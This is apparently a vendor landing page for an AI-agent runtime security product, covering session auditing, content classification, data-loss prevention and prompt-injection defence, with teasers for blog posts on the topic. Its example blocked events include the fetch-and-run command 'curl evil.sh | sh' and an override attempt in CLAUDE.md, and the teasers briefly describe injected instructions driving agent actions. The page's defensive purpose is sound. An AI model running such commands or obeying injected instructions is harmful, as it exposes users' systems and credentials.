AI agent security · enforced at runtime

Every agent.
Every action. Secured.

Gödel's Gate governs what AI agents actually do at runtime — every action taken, every piece of data touched — and stops unsafe ones before they execute.

Secure Coding Agents

Claude
Codex
Cursor
Gemini
Windsurf
Copilot
chain-of-custody

Know what every agent touched.
And who it was acting for.

Trace each runtime action from the user and agent identity that triggered it, through the data it accessed, to the decision that governed it — session, signal, tool call, verdict.

users
platform
agents
taxonomy
data source / mcp
decision
maya@acme.dev96 events
sam@acme.dev45 events
ci-bot@acme.dev36 events
ivy@acme.dev28 events
macOS110 events
Windows65 events
Linux40 events
Claude Code112 events
Cursor78 events
Gemini CLI45 events
Engineering86 events
Operations52 events
Sensitive31 events
Unclassified66 events
GitHub103 events
Slack58 events
.env secrets14 events
MCP tools60 events
Allowed214 events
Warned10 events
Blocked11 events

Swipe to explore the complete policy network →

RuntimeSecurityforEveryAIAgent
AcrossDesktop,Browser,TerminalandFrameworkAgents

Session Visibility & Oversight

See every prompt, session, MCP tool call and action across browser, CLI and desktop agents. Real-time and historical audit of all agent surfaces.

LOGGEDsession → 47 prompts, 12 files read
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Content Classification

Classify every prompt, document, tool output and context source before the agent can use it. Block agents from accessing legal, HR, finance, board materials and source code.

BLOCKEDpaste board memo → ChatGPT
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Action & Execution Guardrails

Risk-score and gate shell, git, package, network, cloud and admin actions. Prevent unsafe downstream actions when suspicious or restricted context is in scope.

BLOCKEDcurl evil.sh | sh
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AI Attacks & Trust-surface Defense

Detect AI attacks in docs, images, PRs, issues, tool output, emails and web content. Monitor CLAUDE.md, AGENTS.md, skills, hooks and local trust files for malicious changes.

BLOCKEDCLAUDE.md → override attempt
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Data Loss Prevention

Prevent sensitive data from leaving through agent-driven channels, not just email and web. Block classified code, credentials, PII and internal data from reaching Slack, SaaS apps or external LLMs.

BLOCKEDcustomer_list.csv → Perplexity
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Audit & Compliance Reporting

Generate comprehensive audit trails and compliance reports that demonstrate agent governance in action. Meet SOC 2, ISO 27001, HIPAA and regulatory requirements with one-click evidence.

REPORT847 sessions audited, 100% compliant
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The missing security context

Data becomes context. Policy should follow.

Sensitive information does not remain a file. Inside an AI workflow it becomes a prompt, an MCP response, a model output a tool argument and eventually an action. Gödel classifies that information as it moves and enforces how it may be processed, retained, shared or allowed to influence what happens next.

01

MCP response

Sensitive HR data enters the session

02

Agent context

The agent summarizes and transforms it

03

Tool argument

The information becomes part of a tool call

04

External action

Policy stops the wrong destination

Handling requirements that persist

Restricted · Internal only · No external output · No memory persistence

Data Authority

Classify and Protect information at the moment AI uses it.

No pre-labeling required. Gödel inspects content in milliseconds as it enters, leaves, or moves through an AI workflow then derives the handling requirements that policy must enforce.

Claude Code
OpenAI Codex
Cursor
Browser agents
Gödel
Git repositories
Slack and email

Understand the information

What does this interaction contain?

Source codeC1
Secrets and credentialsC2
HR and payrollC3
Financial informationC4
Legal and M&AC5
Personal dataC6

Apply required handling

How may AI use it right now?

Internal use onlyREQUIRE
No external outputREQUIRE
No memory persistenceREQUIRE
Redact before useREQUIRE
Human review requiredENFORCE
Block all processingENFORCE

Signal & Decision

Classification is the signal. Handling policy is the decision.

Policy at the moment of use

The same information can be safe to summarize and unsafe to send.

Gödel evaluates what the content contains, which agent is using it, where it is headed, what operation is being attempted and whether threat signals are present before the interaction proceeds.

Sensitive HR content

Returned to Claude Code through an MCP response

BLOCK

Material non-public information

Submitted to ChatGPT on the web

BLOCK

Prompt-injected tool output

Attempts to trigger a shell or network action

BLOCK

Internal engineering context

Summarized by an internal model under policy

ALLOW
Enforced inside the workflow

Policy reaches agents where the work happens.

Wire agent hooks, browser extensions, and framework callbacks once. Apply the same content and threat policies across every supported AI surface.

Coding agents

Native hooks inside the agent loop

Inspect prompts, files, tool calls, MCP exchanges and actions across Claude Code, Codex, Cursor, Gemini CLI, and other coding agents.

Browser agents

One extension across web AI

Apply the same content and handling policies across ChatGPT, agentic browsers, uploads, pasted content and browser-driven actions.

Agent frameworks

Callbacks at every execution boundary

Instrument LangChain, LangGraph, CrewAI, OpenAI agents and custom frameworks across inputs, outputs, tools and handoffs.

No kernel modulemacOSSelf-hosted or private cloudSIEM and webhook connectors

AI changes where information must be protected.

“Godel Labs is the missing piece in AI security architecture. While most solutions are stuck on surface-level filters, Godel provides the holistic defense needed to secure the full agentic killchain. It is a sophisticated, necessary evolution for any organization deploying AI at scale.”

Atif Haque

Head of Enterprise Security Engineering • LinkedIn

“AI agents are fail-dangerous without interpretability. By examining data flows inside an agent's inner loop, Godel Labs provides a practical proxy for interpretability by validating operations within the AI grey box. As systems evolve from chat to agency, this level of assurance becomes essential.”

CISO

Leading AI Orchestration Platform

“Godel Labs closes the gap between rapid AI innovation and enterprise-grade data integrity. By moving away from brittle, static filters toward a deep understanding of agentic threats, they have built the most credible security layer I have seen for the modern AI stack.”

CIO

Fortune 100 Financial Services Enterprise

Research & Technical Deep Dives

View all updates
Jul 13, 2026

Why Claude Code Can Read Your .env, SSH Keys, and Cloud Credentials — And What to Do About It

There is a file on your laptop right now that contains your AWS secret access key, your database password, and probably your Stripe API key. It is called .env. Your coding agent can read it. This is not a bug. It is not a misconfiguration. It is how Claude Code, Codex, Cursor, and every other […]

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Jun 28, 2026

Fusing capability as a transformer into an LLM: GuardedQwen

Part 2 of a series. Part 1 — Attention as a Capability Machine built a deterministic, transformer-style object-capability checker and showed it stops prompt-injection-driven actions on the AgentDojo benchmark. This post takes the next step: we fuse that checker into a real open-weight LLM — Qwen2.5-0.5B-Instruct — as a frozen torch sub-module, run it on […]

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Jun 25, 2026

Attention as a Capability Machine: stopping prompt injection by denying data the right to act

An engineering deep-dive into capability-transformer — a deterministic, transformer-native authorization gateway for LLM agents. Why we stopped trying to detect malicious prompts, what we built instead, and how it scores 100% on the action-harming attacks in AgentDojo while never blocking a legitimate task. TL;DR — We treat tool authorization for AI agents as an object-capability […]

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May 31, 2026

The Hidden Danger in Your ChatGPT Summaries: When AI Becomes a Phishing Tool

If you’ve been using ChatGPT to summarize web pages, you might want to think twice. A recently discovered security vulnerability reveals that the popular AI chatbot cannot distinguish between legitimate content and malicious instructions hidden within web pages, essentially turning any webpage into a potential attack vector. The Trust Problem That Shouldn’t Exist Security researcher […]

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May 27, 2026

Inside Microsoft Agent Governance Toolkit: What It Does, And What Still Missing

When Microsoft open-sourced the Agent Governance Toolkit (AGT) in April 2026, it filled a gap the industry had been circling for two years. As enterprise AI moved from chat to action — agents calling tools, mutating data, talking to other agents — security teams kept asking the same question: who governs what these agents actually […]

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May 19, 2026

From Document to Detonation: How AI Agents Turn Malicious Text into Actions

The real danger of malicious content in AI systems is not that it changes the phrasing of an answer. The real danger is that agents can turn document content into actions. An ordinary-looking file can be translated into: That is the shift security teams need to internalize. In classic software, documents were usually inputs to […]

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FAQ

What buyers need to know.

What does Gödel protect?+

Gödel protects information while AI is actively using it. It inspects prompts, files, browser pages, MCP responses, tool outputs, model responses, and agent actions as they move through an AI workflow.

What does Data Authority mean?+

Data Authority does not grant permissions to GitHub, Jira, SaaS applications, or data stores. It classifies content inside AI interactions and enforces how that content may be processed, retained, shared, or used to influence an agent action.

Does content need to be classified in advance?+

No. Gödel classifies content in real time as it enters, leaves, or moves through an agent session. It can evaluate a prompt, upload, MCP response, tool output, or model response within milliseconds and apply policy immediately.

How does Gödel handle prompt injection?+

Gödel detects injected instructions across prompts, files, webpages, MCP responses, and tool output. It then evaluates the surrounding content, destination, attempted operation, and policy before allowing, warning, or blocking the interaction.

Where is policy enforced?+

Policy is delivered to native agent hooks, browser extensions, and framework callbacks. That places enforcement directly in the interaction path across coding agents, browser agents, MCP, and custom agent frameworks.

Can telemetry remain inside our environment?+

Yes. Gödel can run self-hosted or in a private cloud, and audit records can store hashes rather than sensitive payloads. Events can be forwarded to your existing SIEM or security data platform.

Put a provable boundary in front of every agent.

Deploy in five minutes. Your agents keep shipping — unsafe actions don't.